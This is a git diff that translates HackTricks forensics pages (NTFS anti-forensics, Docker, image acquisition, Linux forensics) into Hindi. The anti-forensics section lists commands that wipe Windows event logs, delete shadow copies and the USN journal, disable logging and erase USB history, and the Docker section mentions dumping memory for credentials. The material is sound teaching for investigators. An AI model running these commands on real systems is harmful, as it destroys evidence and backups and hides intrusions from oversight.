नाम `**$LogFile**` है, जो NTFS फ़ाइल प्रणाली के रूट निर्देशिका में स्थित है। [LogFileParser](https://github.com/jschicht/LogFileParser) जैसे उपकरण का उपयोग इस फ़ाइल को पार्स करने और परिवर्तनों की पहचान करने के लिए किया जा सकता है। ![](<../../images/image (137).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +फिर से, टूल के आउटपुट में यह देखना संभव है कि **कुछ परिवर्तन किए गए** थे। -Using the same tool it's possible to identify to **which time the timestamps were modified**: +उसी टूल का उपयोग करके यह पहचानना संभव है कि **कब टाइमस्टैम्प संशोधित किए गए** थे: ![](<../../images/image (1089).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: फ़ाइल का निर्माण समय +- ATIME: फ़ाइल का संशोधन समय +- MTIME: फ़ाइल का MFT रजिस्ट्र्री संशोधन +- RTIME: फ़ाइल का पहुँच समय -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +### `$STANDARD_INFORMATION` और `$FILE_NAME` तुलना -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +संदिग्ध संशोधित फ़ाइलों की पहचान करने का एक और तरीका दोनों विशेषताओं पर समय की तुलना करना है और **असंगतियों** की तलाश करना है। -### Nanoseconds +### नैनोसेकंड -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS** टाइमस्टैम्प की **सटीकता** **100 नैनोसेकंड** है। फिर, 2010-10-10 10:10:**00.000:0000 जैसे टाइमस्टैम्प वाली फ़ाइलें **बहुत संदिग्ध** हैं। -### SetMace - Anti-forensic Tool +### SetMace - एंटी-फॉरेंसिक टूल -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +यह टूल दोनों विशेषताओं `$STARNDAR_INFORMATION` और `$FILE_NAME` को संशोधित कर सकता है। हालाँकि, Windows Vista से, इस जानकारी को संशोधित करने के लिए एक लाइव OS की आवश्यकता होती है। -## Data Hiding +## डेटा छिपाना -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS एक क्लस्टर और न्यूनतम जानकारी के आकार का उपयोग करता है। इसका मतलब है कि यदि एक फ़ाइल एक क्लस्टर और आधा उपयोग करती है, तो **बची हुई आधी कभी उपयोग नहीं की जाएगी** जब तक फ़ाइल को हटा नहीं दिया जाता। फिर, इस स्लैक स्पेस में **डेटा छिपाना संभव है**। -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +ऐसे उपकरण हैं जैसे स्लैकर जो इस "छिपे हुए" स्थान में डेटा छिपाने की अनुमति देते हैं। हालाँकि, `$logfile` और `$usnjrnl` का विश्लेषण दिखा सकता है कि कुछ डेटा जोड़ा गया था: ![](<../../images/image (1060).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +फिर, FTK इमेजर जैसे उपकरणों का उपयोग करके स्लैक स्पेस को पुनर्प्राप्त करना संभव है। ध्यान दें कि इस प्रकार के उपकरण सामग्री को ओब्स्क्यूरेट या यहां तक कि एन्क्रिप्टेड रूप में सहेज सकते हैं। ## UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +यह एक टूल है जो **USB** पोर्ट में किसी भी परिवर्तन का पता लगाने पर कंप्यूटर को **बंद** कर देगा।\ +इसका पता लगाने का एक तरीका चल रहे प्रक्रियाओं की जांच करना और **प्रत्येक चल रहे पायथन स्क्रिप्ट की समीक्षा करना** है। -## Live Linux Distributions +## लाइव लिनक्स वितरण -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +ये डिस्ट्रीब्यूशन **RAM** मेमोरी के अंदर **निष्पादित** होते हैं। इन्हें केवल तभी पहचानना संभव है जब **NTFS फ़ाइल सिस्टम को लिखने की अनुमति के साथ माउंट किया गया हो**। यदि इसे केवल पढ़ने की अनुमति के साथ माउंट किया गया है, तो घुसपैठ का पता लगाना संभव नहीं होगा। -## Secure Deletion +## सुरक्षित विलोपन [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +## Windows कॉन्फ़िगरेशन -It's possible to disable several windows logging methods to make the forensics investigation much harder. +फॉरेंसिक जांच को बहुत कठिन बनाने के लिए कई विंडोज़ लॉगिंग विधियों को बंद करना संभव है। -### Disable Timestamps - UserAssist +### टाइमस्टैम्प बंद करें - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +यह एक रजिस्ट्री कुंजी है जो उपयोगकर्ता द्वारा चलाए गए प्रत्येक निष्पादन योग्य की तारीखों और घंटों को बनाए रखती है। -Disabling UserAssist requires two steps: +UserAssist को बंद करने के लिए दो चरणों की आवश्यकता होती है: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. दो रजिस्ट्री कुंजी सेट करें, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` और `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, दोनों को शून्य पर सेट करें ताकि संकेत मिले कि हम UserAssist को बंद करना चाहते हैं। +2. अपनी रजिस्ट्री उप-ट्री को साफ करें जो `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` की तरह दिखती हैं। -### Disable Timestamps - Prefetch +### टाइमस्टैम्प बंद करें - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +यह उन अनुप्रयोगों के बारे में जानकारी सहेजता है जो Windows सिस्टम के प्रदर्शन में सुधार के लक्ष्य के साथ निष्पादित होते हैं। हालाँकि, यह फॉरेंसिक प्रथाओं के लिए भी उपयोगी हो सकता है। -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- `regedit` निष्पादित करें +- फ़ाइल पथ का चयन करें `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- दोनों `EnablePrefetcher` और `EnableSuperfetch` पर राइट-क्लिक करें +- प्रत्येक पर संशोधित करें ताकि मान 1 (या 3) से 0 में बदल जाए +- पुनरारंभ करें -### Disable Timestamps - Last Access Time +### टाइमस्टैम्प बंद करें - अंतिम पहुँच समय -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +जब भी एक फ़ोल्डर NTFS वॉल्यूम से Windows NT सर्वर पर खोला जाता है, तो सिस्टम प्रत्येक सूचीबद्ध फ़ोल्डर पर **टाइमस्टैम्प फ़ील्ड को अपडेट करने के लिए समय लेता है**, जिसे अंतिम पहुँच समय कहा जाता है। एक भारी उपयोग किए गए NTFS वॉल्यूम पर, यह प्रदर्शन को प्रभावित कर सकता है। -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. रजिस्ट्री संपादक (Regedit.exe) खोलें। +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` पर जाएं। +3. `NtfsDisableLastAccessUpdate` की तलाश करें। यदि यह मौजूद नहीं है, तो इस DWORD को जोड़ें और इसका मान 1 पर सेट करें, जो प्रक्रिया को बंद कर देगा। +4. रजिस्ट्री संपादक बंद करें, और सर्वर को पुनरारंभ करें। -### Delete USB History +### USB इतिहास हटाएं -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +सभी **USB डिवाइस प्रविष्टियाँ** Windows रजिस्ट्री में **USBSTOR** रजिस्ट्री कुंजी के तहत संग्रहीत होती हैं जिसमें उप कुंजियाँ होती हैं जो तब बनाई जाती हैं जब आप अपने पीसी या लैपटॉप में USB डिवाइस लगाते हैं। आप इस कुंजी को यहाँ पा सकते हैं `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`। **इसे हटाने से** आप USB इतिहास को हटा देंगे।\ +आप यह सुनिश्चित करने के लिए [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) टूल का भी उपयोग कर सकते हैं कि आपने उन्हें हटा दिया है (और उन्हें हटाने के लिए)। -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +एक और फ़ाइल जो USB के बारे में जानकारी सहेजती है वह फ़ाइल `setupapi.dev.log` है जो `C:\Windows\INF` के अंदर है। इसे भी हटाया जाना चाहिए। -### Disable Shadow Copies +### शैडो कॉपीज़ बंद करें -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**शैडो कॉपीज़** की सूची बनाएं `vssadmin list shadowstorage`\ +**उन्हें हटाएं** `vssadmin delete shadow` चलाकर -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +आप GUI के माध्यम से भी उन्हें हटा सकते हैं [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) में प्रस्तावित चरणों का पालन करके। -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +शैडो कॉपीज़ को बंद करने के लिए [यहाँ से चरण](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Windows स्टार्ट बटन पर क्लिक करने के बाद टेक्स्ट सर्च बॉक्स में "services" टाइप करके सेवाएँ प्रोग्राम खोलें। +2. सूची में "Volume Shadow Copy" खोजें, इसे चुनें, और फिर राइट-क्लिक करके प्रॉपर्टीज़ पर जाएं। +3. "Startup type" ड्रॉप-डाउन मेनू से Disabled चुनें, और फिर Apply और OK पर क्लिक करके परिवर्तन की पुष्टि करें। -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +यह भी संभव है कि रजिस्ट्री `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` में उन फ़ाइलों की कॉन्फ़िगरेशन को संशोधित किया जाए जिन्हें शैडो कॉपी में कॉपी किया जाएगा। -### Overwrite deleted files +### हटाए गए फ़ाइलों को ओवरराइट करें -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- आप एक **Windows टूल** का उपयोग कर सकते हैं: `cipher /w:C` यह सिग्नल करेगा कि सिफर C ड्राइव के अंदर उपलब्ध अनयूज्ड डिस्क स्पेस से किसी भी डेटा को हटा दे। +- आप [**Eraser**](https://eraser.heidi.ie) जैसे उपकरणों का भी उपयोग कर सकते हैं। -### Delete Windows event logs +### Windows इवेंट लॉग हटाएं -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> "Windows Logs" का विस्तार करें --> प्रत्येक श्रेणी पर राइट-क्लिक करें और "Clear Log" चुनें - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +### Windows इवेंट लॉग बंद करें - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- सेवाओं के अनुभाग के अंदर "Windows Event Log" सेवा को बंद करें +- `WEvtUtil.exec clear-log` या `WEvtUtil.exe cl` -### Disable $UsnJrnl +### $UsnJrnl बंद करें - `fsutil usn deletejournal /d c:` diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 629251985..452ba7423 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} ## Container modification -There are suspicions that some docker container was compromised: - +कुछ डॉकर कंटेनर के समझौता होने के संदेह हैं: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +आप आसानी से **इस कंटेनर में इमेज के संबंध में किए गए संशोधनों को ढूंढ सकते हैं**: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +पिछले कमांड में **C** का मतलब **बदला हुआ** और **A,** **जोड़ा गया** है।\ +यदि आप पाते हैं कि कोई दिलचस्प फ़ाइल जैसे `/etc/shadow` को संशोधित किया गया है, तो आप इसे कंटेनर से डाउनलोड कर सकते हैं ताकि आप दुर्भावनापूर्ण गतिविधि की जांच कर सकें: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +आप इसे **मूल के साथ तुलना कर सकते हैं** एक नया कंटेनर चलाकर और उससे फ़ाइल निकालकर: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +यदि आप पाते हैं कि **कुछ संदिग्ध फ़ाइल जोड़ी गई है** तो आप कंटेनर में जा सकते हैं और इसे जांच सकते हैं: ```bash docker exec -it wordpress bash ``` - ## Images modifications -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +जब आपको एक निर्यातित डॉकर इमेज (संभवतः `.tar` प्रारूप में) दी जाती है, तो आप **container-diff** का उपयोग कर सकते हैं [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) **संशोधनों का एक सारांश निकालने के लिए**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +फिर, आप **इमेज को डिकंप्रेस** कर सकते हैं और **ब्लॉब्स तक पहुंच** प्राप्त कर सकते हैं ताकि आप परिवर्तनों के इतिहास में पाए गए संदिग्ध फ़ाइलों की खोज कर सकें: ```bash tar -xf image.tar ``` - ### Basic Analysis -You can get **basic information** from the image running: - +आप छवि से **बुनियादी जानकारी** प्राप्त कर सकते हैं: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +आप **परिवर्तनों का इतिहास** का सारांश भी प्राप्त कर सकते हैं: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +आप एक **dockerfile को एक इमेज से** भी उत्पन्न कर सकते हैं: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +docker छवियों में जोड़े गए/संशोधित फ़ाइलों को खोजने के लिए आप [**dive**](https://github.com/wagoodman/dive) (इसे [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) से डाउनलोड करें) उपयोगिता का भी उपयोग कर सकते हैं: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +यह आपको **डॉकर इमेज के विभिन्न ब्लॉब्स के माध्यम से नेविगेट करने** और यह जांचने की अनुमति देता है कि कौन से फ़ाइलें संशोधित/जोड़ी गई थीं। **लाल** का मतलब जोड़ा गया है और **पीला** का मतलब संशोधित है। **टैब** का उपयोग करके अन्य दृश्य में जाएं और फ़ोल्डरों को संकुचित/खोलने के लिए **स्पेस** का उपयोग करें। -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +डाई के साथ, आप इमेज के विभिन्न चरणों की सामग्री तक पहुँच नहीं पाएंगे। ऐसा करने के लिए, आपको **प्रत्येक परत को डिकंप्रेस करना और उस तक पहुँच बनानी होगी**।\ +आप उस निर्देशिका से एक इमेज की सभी परतों को डिकंप्रेस कर सकते हैं जहाँ इमेज को डिकंप्रेस किया गया था: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## मेमोरी से क्रेडेंशियल्स -## Credentials from memory +ध्यान दें कि जब आप एक होस्ट के अंदर एक docker कंटेनर चलाते हैं **तो आप होस्ट से कंटेनर पर चल रहे प्रक्रियाओं को देख सकते हैं** बस `ps -ef` चलाकर। -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +इसलिए (रूट के रूप में) आप **होस्ट से प्रक्रियाओं की मेमोरी को डंप कर सकते हैं** और **क्रेडेंशियल्स** के लिए खोज कर सकते हैं बस [**निम्नलिखित उदाहरण की तरह**](../../linux-hardening/privilege-escalation/#process-memory)। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..38c59d8a1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -2,17 +2,17 @@ # Baseline -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +एक बेसलाइन में सिस्टम के कुछ हिस्सों का स्नैपशॉट लेना शामिल होता है ताकि **भविष्य की स्थिति के साथ इसकी तुलना की जा सके और परिवर्तनों को उजागर किया जा सके**। -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +उदाहरण के लिए, आप फ़ाइल सिस्टम के प्रत्येक फ़ाइल का हैश निकाल सकते हैं और उसे स्टोर कर सकते हैं ताकि यह पता चल सके कि कौन सी फ़ाइलें संशोधित की गई हैं।\ +यह उपयोगकर्ता खातों, चल रहे प्रक्रियाओं, चल रही सेवाओं और किसी भी अन्य चीज़ के साथ भी किया जा सकता है जो ज्यादा नहीं बदलनी चाहिए, या बिल्कुल भी नहीं। ## File Integrity Monitoring -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +File Integrity Monitoring (FIM) एक महत्वपूर्ण सुरक्षा तकनीक है जो IT वातावरण और डेटा की सुरक्षा करती है द्वारा फ़ाइलों में परिवर्तनों को ट्रैक करके। इसमें दो मुख्य चरण शामिल हैं: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Baseline Comparison:** फ़ाइल विशेषताओं या क्रिप्टोग्राफिक चेकसम (जैसे MD5 या SHA-2) का उपयोग करके एक बेसलाइन स्थापित करें ताकि संशोधनों का पता लगाने के लिए भविष्य की तुलना की जा सके। +2. **Real-Time Change Notification:** जब फ़ाइलों को एक्सेस या संशोधित किया जाता है, तो तुरंत अलर्ट प्राप्त करें, आमतौर पर OS कर्नेल एक्सटेंशन के माध्यम से। ## Tools diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index a95a3bbff..38f4e9fbd 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,40 +1,30 @@ -# Image Acquisition & Mount +# इमेज अधिग्रहण और माउंट {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} - -## Acquisition +## अधिग्रहण ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd - ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +आप [**यहां से FTK इमेजर डाउनलोड कर सकते हैं**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +आप [**ewf tools**](https://github.com/libyal/libewf) का उपयोग करके एक डिस्क इमेज उत्पन्न कर सकते हैं। ```bash ewfacquire /dev/sdb #Name: evidence @@ -51,15 +41,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` - ## Mount ### Several types -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. +In **Windows** आप Arsenal Image Mounter के मुफ्त संस्करण का उपयोग करने की कोशिश कर सकते हैं ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) **फॉरेंसिक इमेज** को **माउंट** करने के लिए। ### Raw - ```bash #Get file type file evidence.img @@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF - ```bash #Get file type file evidence.E01 @@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +यह एक Windows एप्लिकेशन है जो वॉल्यूम को माउंट करता है। आप इसे यहाँ डाउनलोड कर सकते हैं [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) ### Errors -- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: - +- **`cannot mount /dev/loop0 read-only`** इस मामले में आपको फ्लैग्स **`-o ro,norecovery`** का उपयोग करना होगा। +- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** इस मामले में माउंट विफल हो गया क्योंकि फाइल सिस्टम का ऑफसेट डिस्क इमेज के ऑफसेट से अलग है। आपको सेक्टर का आकार और प्रारंभिक सेक्टर ढूंढना होगा: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -107,15 +91,8 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +ध्यान दें कि सेक्टर का आकार **512** है और प्रारंभ **2048** है। फिर छवि को इस तरह माउंट करें: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 568da19c5..a8211e83a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## प्रारंभिक जानकारी संग्रहण -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### बुनियादी जानकारी +सबसे पहले, यह अनुशंसा की जाती है कि आपके पास कुछ **USB** हो जिसमें **अच्छे ज्ञात बाइनरी और पुस्तकालय हों** (आप बस उबंटू ले सकते हैं और फ़ोल्डर _/bin_, _/sbin_, _/lib,_ और _/lib64_ की कॉपी कर सकते हैं), फिर USB को माउंट करें, और उन बाइनरी का उपयोग करने के लिए env वेरिएबल को संशोधित करें: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +एक बार जब आपने सिस्टम को अच्छे और ज्ञात बाइनरीज़ का उपयोग करने के लिए कॉन्फ़िगर कर लिया, तो आप **कुछ बुनियादी जानकारी निकालना शुरू कर सकते हैं**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### संदिग्ध जानकारी -#### Suspicious information +बुनियादी जानकारी प्राप्त करते समय आपको अजीब चीजों की जांच करनी चाहिए जैसे: -While obtaining the basic information you should check for weird things like: +- **रूट प्रक्रियाएँ** आमतौर पर कम PIDS के साथ चलती हैं, इसलिए यदि आप एक बड़े PID के साथ रूट प्रक्रिया पाते हैं तो आप संदेह कर सकते हैं +- `/etc/passwd` के अंदर बिना शेल वाले उपयोगकर्ताओं के **पंजीकृत लॉगिन** की जांच करें +- बिना शेल वाले उपयोगकर्ताओं के लिए `/etc/shadow` के अंदर **पासवर्ड हैश** की जांच करें -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### मेमोरी डंप -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +चल रहे सिस्टम की मेमोरी प्राप्त करने के लिए, [**LiME**](https://github.com/504ensicsLabs/LiME) का उपयोग करने की सिफारिश की जाती 